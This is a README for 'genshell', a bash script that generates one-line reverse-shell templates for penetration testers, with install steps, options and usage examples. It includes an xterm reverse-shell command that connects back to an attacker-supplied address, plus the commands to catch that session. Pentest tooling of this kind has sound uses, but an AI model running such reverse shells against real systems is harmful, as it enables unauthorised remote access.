This project is deticated to ippsec. Thank you for releasing over one-hundred hours of phenomenal cybersecurity content.
Another thanks to pentestmonkey for dishing out the awesome shells!
I found myself browsing other websites flagged as "malicious" for rev shells and got fed up with with security reccomendations. This script automates the generation of shells without leaving the terminal (WITH COLORS!). There will likely be rev shells here that you have seen on other sites such as pentestmonkey, hacktricks, and other pentesting sites; if a shell from your site is used, you will be added to the "Inspirations" section in the beginning of the script. All contributions welcome. This is me giving back to the community that has shared so much with me.
-
Using the GitHub repo
git clone https://github.com/djjoa/genshell.git cd genshell chmod +x gennshell ./genshell
-
As a standalone script
wget https://raw.githubusercontent.com/djjoa/genshell/main/genshell && chmod +x genshell && ./genshell #OR curl https://raw.githubusercontent.com/djjoa/genshell/main/genshell -o genshell && chmod +x genshell && ./genshell
-
Link the file to your path for native use with bash (not necessary for the script to work)
# Before ./genshell -h # After sudo ln -s /genshell_install_dir/genshell /usr/local/bin/genshell genshell -h
./genshell -h
genshell: The atomatic copy-and-paste oneline reverse shell generator. Just add args!
options:
-h|--help Print this help menu
-b|--banner Display the banner
-p|--port [INT] Port you wish to cach your shell back on
-l|--LHOST [IP] Supply TUN0 addr if not auto-parsed by the script (autoparse is set by default)
-t|--RHOST [IP] Target IP (optional)
./genshell -u
Usage: genshell [-h|--help] -p|--port [args] [-l|--LHOST [args]] [-t|--RHOST [args]] [-b|--banner]
When run with no arguments, the script displays the banner and help information.
To generate all reverse shell templates the -p
or --port
must be used. The script will attempt to automatically parse your tun0
network adapter (assuming you are pentesting over a vpn). If it fails, the -l
or --LHOST
agument may be passed to manually specificy a listening network adapter.
./genshell -p 4444
If the -t
or --RHOST
argument is passed the xterm
reverse shell dialog will be displayed at the end of the script. 90% of the shell's don't require a RHOST paramter; they have been ommited by default.
./genshell -p 4444 -l 1.1.1.1 -t 4.4.4.4
.... <snip> ....
##################### XTERM #####################
The following command should be run on the server. It will try to connect back 1.1.1.1 on TCP port 6001
xterm -display 1.1.1.1:1
To catch the incoming xterm, start an X-Server on attacker machine (:1 – which listens on TCP port 6001)
Xnest :1
xhost +4.4.4.4
- Generate shell templates on interface address
192.168.4.2
listening on port4444
./genshell --port 4444 --LHOST 192.168.4.2
./genshell -p 4444 -l 192.168.4.2
- Generate shell templates with default
tun0
adapter listening on port 8181
./genshell --port 8181
./genshell -p 8181
Enjoy the shellz! Never leave the terminal again to get exactly what you need to get the job done.
Zer0 - @x41x41x41x41 - Discord Zer0#0272
Project Link: https://github.com/djjoa/genshell